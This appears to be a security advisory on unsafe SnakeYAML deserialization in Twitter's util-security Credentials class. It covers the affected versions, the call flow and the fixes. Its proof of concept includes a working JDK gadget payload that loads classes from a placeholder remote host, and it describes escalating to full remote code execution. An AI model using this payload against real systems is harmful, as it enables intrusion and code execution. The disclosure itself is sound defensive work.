com.twitter.util.security.Credentials parses YAML/JSON credential content using SnakeYAML's
default, unsafe constructor (new Yaml()). In SnakeYAML versions below 2.0 — util-security bundles
1.28 — the default Yaml instance uses org.yaml.snakeyaml.constructor.Constructor, which allows
instantiation of arbitrary Java types declared in the input via the !! global tag. This is the
class of issue tracked upstream as CVE-2022-1471.
If an attacker can influence the content parsed by any Credentials entry point, a crafted payload
can trigger a JDK-only gadget chain (ScriptEngineManager → URLClassLoader → remote JAR), leading
to SSRF and remote code execution, without any additional gadget library on the classpath.
The unsafe call site is still present on the latest develop branch and has never been migrated to
SafeConstructor.
- Artifact:
com.twitter:util-security(module oftwitter/util) - First affected: 21.11.0 — the release that replaced the previous custom YAML parser with SnakeYAML and exposed "any valid YAML/JSON with string keys/values can be loaded."
- Bundled dependency:
org.yaml:snakeyaml1.28 (set in 22.7.0; unchanged ondevelop,24.8.0-SNAPSHOT). - Status: unfixed — the call site still uses
new Yaml().
util-security/src/main/scala/com/twitter/util/security/Credentials.scala:
def apply(data: String): Map[String, String] = {
val parser = new Yaml() // unsafe: default Constructor
val result: java.util.Map[String, Any] = parser.load(data) // SINK: deserializes untrusted YAML
if (result == null) Map.empty
else {
val builder = HashMap.newBuilder[String, String]
result.forEach { (k, v) => builder += k -> String.valueOf(v) }
builder.result()
}
}Decompiled shipped bytecode (Credentials$.apply) confirms the same new Yaml(); parser.load(data)
pattern.
All public entry points flow into the same sink:
// object Credentials
def apply(data: String): Map[String, String] // parses data directly as YAML
def apply(file: File): Map[String, String] // reads file, delegates to apply(String)
def byName(name: String): Map[String, String] // resolves $KEY_FOLDER (or /etc/keys), delegates to apply(File)
// class Credentials (Java-friendly wrappers)
def read(data: String) / read(file: File) / byName(name: String)Influenced YAML/JSON content
→ Credentials.apply/read(String) [or apply(File)/byName → reads file] (SOURCE)
→ Credentials$.apply(String) (util-security)
→ new org.yaml.snakeyaml.Yaml() (default unsafe Constructor)
→ org.yaml.snakeyaml.Yaml.load(String) (SINK)
→ Constructor.construct... (arbitrary type instantiation via !! tag)
→ ScriptEngineManager → URLClassLoader → remote JAR loaded (SSRF → RCE)
The following demonstrates that the default parser instantiates arbitrary types. It does not imply a remote attack path in the default callers above; it proves the sink is unsafe when the parsed content is attacker-influenced.
import com.twitter.util.security.Credentials$;
import scala.collection.immutable.Map;
public class Poc {
public static void main(String[] args) {
// OOB callback gadget (JDK-only). Point the URL at a listener you control.
String payload =
"!!javax.script.ScriptEngineManager " +
"[!!java.net.URLClassLoader [[!!java.net.URL [\"http://YOUR-LISTENER-HOST/\"]]]]";
Map result = Credentials$.MODULE$.apply(payload); // SINK reached
System.out.println(result);
}
}Non-destructive confirmation: run with java.net.URL pointing at an HTTP listener you own
(interactsh / Burp Collaborator / python3 -m http.server on your host). An inbound HTTP request to
that listener confirms the gadget chain executed — i.e. arbitrary-type deserialization fired — even
if a ConstructorException is thrown afterward. For full RCE confirmation in an authorized test
environment, host a JAR implementing a ScriptEngineFactory SPI at the listener.
Dependencies: com.twitter:util-security (≥ 21.11.0) transitively pulls org.yaml:snakeyaml:1.28;
no third-party gadget library is required.
When the parsed content is attacker-influenced, the impact is remote code execution and SSRF in the
context of the JVM process. In default open-source deployments where Credentials reads trusted
local files, the practical attack surface is reduced (see "Reachability").
Apply either (both recommended):
-
Use
SafeConstructorat the call site (sufficient on its own, even on SnakeYAML 1.28):import org.yaml.snakeyaml.constructor.SafeConstructor import org.yaml.snakeyaml.LoaderOptions val parser = new Yaml(new SafeConstructor(new LoaderOptions()))
SafeConstructoronly constructs standard YAML/JSON types (maps, lists, scalars), which is allCredentialsneeds (string keys/values), so behavior is unchanged for legitimate input. -
Upgrade
org.yaml:snakeyamlto 2.0+, whose default constructor already extendsSafeConstructor.
- CVE-2022-1471 / GHSA-mjmj-j48q-9wg2 — SnakeYaml Constructor Deserialization RCE
- SnakeYAML 2.0 release notes (default
SafeConstructor) twitter/util—util-security/.../Credentials.scala(develop) andbuild.sbt(snakeyaml % "1.28")- Callers reviewed:
twitter/finatraCredentialsModule;twitter/the-algorithmtweetypie/.../servo/database/Credentials.scala